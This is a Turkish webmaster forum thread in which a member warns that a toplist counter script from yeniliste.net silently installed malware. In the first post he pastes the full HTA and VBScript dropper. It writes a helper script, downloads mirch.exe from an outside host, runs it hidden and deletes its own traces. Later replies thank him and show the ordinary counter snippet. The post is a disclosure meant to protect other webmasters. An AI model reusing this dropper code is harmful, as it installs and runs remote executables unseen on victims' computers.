İyinet'e Hoşgeldiniz!

Türkiye'nin En Eski Webmaster Forum'una Hemen Kayıt Olun!

Kayıt Ol!

Yeniliste.Com toplistlerini kaldırın ŞEREFSİZ BUNLAR!!!

C

Cky

0
İyinet Üyesi
Katılım
20 Şubat 2005
Mesajlar
252
Reaction score
0
Konum
izmir
Evet arkadaşlar ben bugün yeni açtığım bir siteye toplist eklemeye başlarken bulduğum www.yeniliste.net e ekledim ve kodda bulduğum bi mirc sitesi vardi ve o kismi reklamdir diye kendi sitemi yazdim "chatyurdu.com olarak değiştirdim." fakat kendi siteme girdiğimde birde baktimki firewall tarafından bi uyarı aldım. vscript calistirmaya calisiyordu ve c:\ sürücüsüne girdiğimdede ana.vbs ve tr.hta dosyalarinin olduğunu gördüm. ve kodlardada sunlar vardi;

tr.hta da;

<HTML>
<HEAD>
<TITLE></TITLE>
<HTA:APPLICATION ID="pASSrAPER"
APPLICATIONNAME="ujust***jackedfoo"
BORDER="none"
BORDERSTYLE="normal"
CAPTION="no"
ICON=""
CONTEXTMENU="no"
MAXIMIZEBUTTON="yes"
MINIMIZEBUTTON="yes"
SHOWINTASKBAR="no"
SINGLEINSTANCE="no"
SYSMENU="no"
VERSION="1.0"
WINDOWSTATE="minimize"/>
<script LANGUAGE="VBScript">
MyFile = "c:\ana.vbs"
Set FSO = CreateObject("Scripting.FileSystemObject")
Set TSO = FSO.CreateTextFile(MyFile, True)
TSO.write "Set FSO = CreateObject(""Scripting.FileSystemObject"")" & vbcrlf
TSO.write "Dim BinaryData" & vbcrlf
TSO.write "Dim xml" & vbcrlf
TSO.write "Set xml = CreateObject(""Microsoft.XMLHTTP"")" & vbcrlf
TSO.write "xml.Open ""GET"", ""http://www.yaqmur.net/mirch.exe"", False " & vbcrlf
TSO.write "xml.Send" & vbcrlf
TSO.write "BinaryData = xml.ResponseBody" & vbcrlf
TSO.write "Const adTypeBinary = 1" & vbcrlf
TSO.write "Const adSaveCreateOverWrite = 2" & vbcrlf
TSO.write "Dim BinaryStream" & vbcrlf
TSO.write "Set BinaryStream = CreateObject(""ADODB.Stream"")" & vbcrlf
TSO.write "BinaryStream.Type = adTypeBinary" & vbcrlf
TSO.write "BinaryStream.Open" & vbcrlf
TSO.write "BinaryStream.Write BinaryData" & vbcrlf
TSO.write "BinaryStream.SaveToFile ""c:\mirch.exe"", adSaveCreateOverWrite" & vbcrlf
TSO.write "Dim WshShell" & vbcrlf
TSO.write "Set WshShell = CreateObject(""WScript.Shell"")" & vbcrlf
TSO.write "WshShell.Run ""c:\mirch.exe"", 0, true" & vbcrlf
TSO.write "FSO.DeleteFile ""c:\ana.vbs"", True" & vbcrlf
TSO.write "FSO.DeleteFile ""c:\mirch.exe"", True" & vbcrlf
TSO.write "FSO.DeleteFile ""c:\tr.hta"", True" & vbcrlf
TSO.write "Set FSO = Nothing" & vbcrlf
TSO.close
Set TSO = Nothing
Set FSO = Nothing
Dim WshShell
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "c:\ana.vbs", 0, false
</SCRIPT>
<script>
window.close()
</script>
</HEAD>
</html>


ana.vbs de ise;

Set FSO = CreateObject("Scripting.FileSystemObject")
Dim BinaryData
Dim xml
Set xml = CreateObject("Microsoft.XMLHTTP")
xml.Open "GET", "http://www.yaqmur.net/mirch.exe", False
xml.Send
BinaryData = xml.ResponseBody
Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Dim BinaryStream
Set BinaryStream = CreateObject("ADODB.Stream")
BinaryStream.Type = adTypeBinary
BinaryStream.Open
BinaryStream.Write BinaryData
BinaryStream.SaveToFile "c:\mirch.exe", adSaveCreateOverWrite
Dim WshShell
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "c:\mirch.exe", 0, true
FSO.DeleteFile "c:\ana.vbs", True
FSO.DeleteFile "c:\mirch.exe", True
FSO.DeleteFile "c:\tr.hta", True
Set FSO = Nothing

vardi..

Siteden bana verilen kod ise; (chatyurdu.com olarak değiştirilmiş hali)

Kod: 
<script language="javascript"> var isjs=0, site=3196, ikon=3;</script>
<script language="javascript" src="http://www.yeniliste.net/sayac.php?site=3196&ikon=3"></script>
<noscript>
<a href=http://www.yeniliste.net title=toplist>toplist</a><a href=http://www.hayta.net title=mirc>mirc</a></noscript>
<div style="display:none">
<a title="mirc" href="http://www.chatyurdu.com/">mirc</a>
</div>

bu idi. sizde bu toplistçilikmi?


örnek sayfa: www.yarismotoru.com/deneme.html
 
C

Cky

0
İyinet Üyesi
Katılım
20 Şubat 2005
Mesajlar
252
Reaction score
0
Konum
izmir
sorry :s en azindan güncellenmis oldu. yeni arkadaşlarımız benim gibi kanmazlar. yada bilmeyen insanlar aldanmaz.

tskler ;)
 
E

Ekstra

0
İyinet Üyesi
Katılım
7 Ekim 2006
Mesajlar
1,428
Reaction score
1
Konum
127.0.0.1
Ayıp ya birde pr2 pr3 sitesine toplist kurup 100-200 backlink alınca toplisti kaldırıp domaine uygun site açan insancıklarda var.
 
U

umuture

0
İyinet Üyesi
Katılım
20 Kasım 2006
Mesajlar
508
Reaction score
0
Konum
no comment
bende de kod vardı hemen kaldırıyorum uyarı için sağol

bendeki kodda garip bişey göremedim ama olsun

<!-- YeniListe.net saya kodu ---><script language="javascript"> var isjs=0, site=1801, ikon=4;</script><script language="javascript" src="http://www.YeniListe.net/sayac.php?site=1801&ikon=4"></script><noscript> <a href=http://www.yeniliste.net title=toplist>toplist </a></noscript><!-- YeniListe.net saya kodu -->
Genişletmek için tıkla ...
 
M

MuStY

0
İyinet Üyesi
Katılım
10 Kasım 2006
Mesajlar
20
Reaction score
0
ben daha önceden kaldırdım zaten.

yediği küfürler ona yeter zaten :)
 
Cevap yazmak için giriş yap yada kayıt ol.

Türkiye’nin ilk webmaster forum sitesi iyinet.com'da forum üyeleri tarafından yapılan tüm paylaşımlardan; Türk Ceza Kanunu’nun 20. Maddesinin, 5651 Sayılı Kanununun 4. maddesinin 2. fıkrasına göre, paylaşım yapan üyeler sorumludur.

Backlink ve Tanıtım Yazısı için iletişime geçmek için Skype Adresimiz: .cid.1580508955483fe5

Üst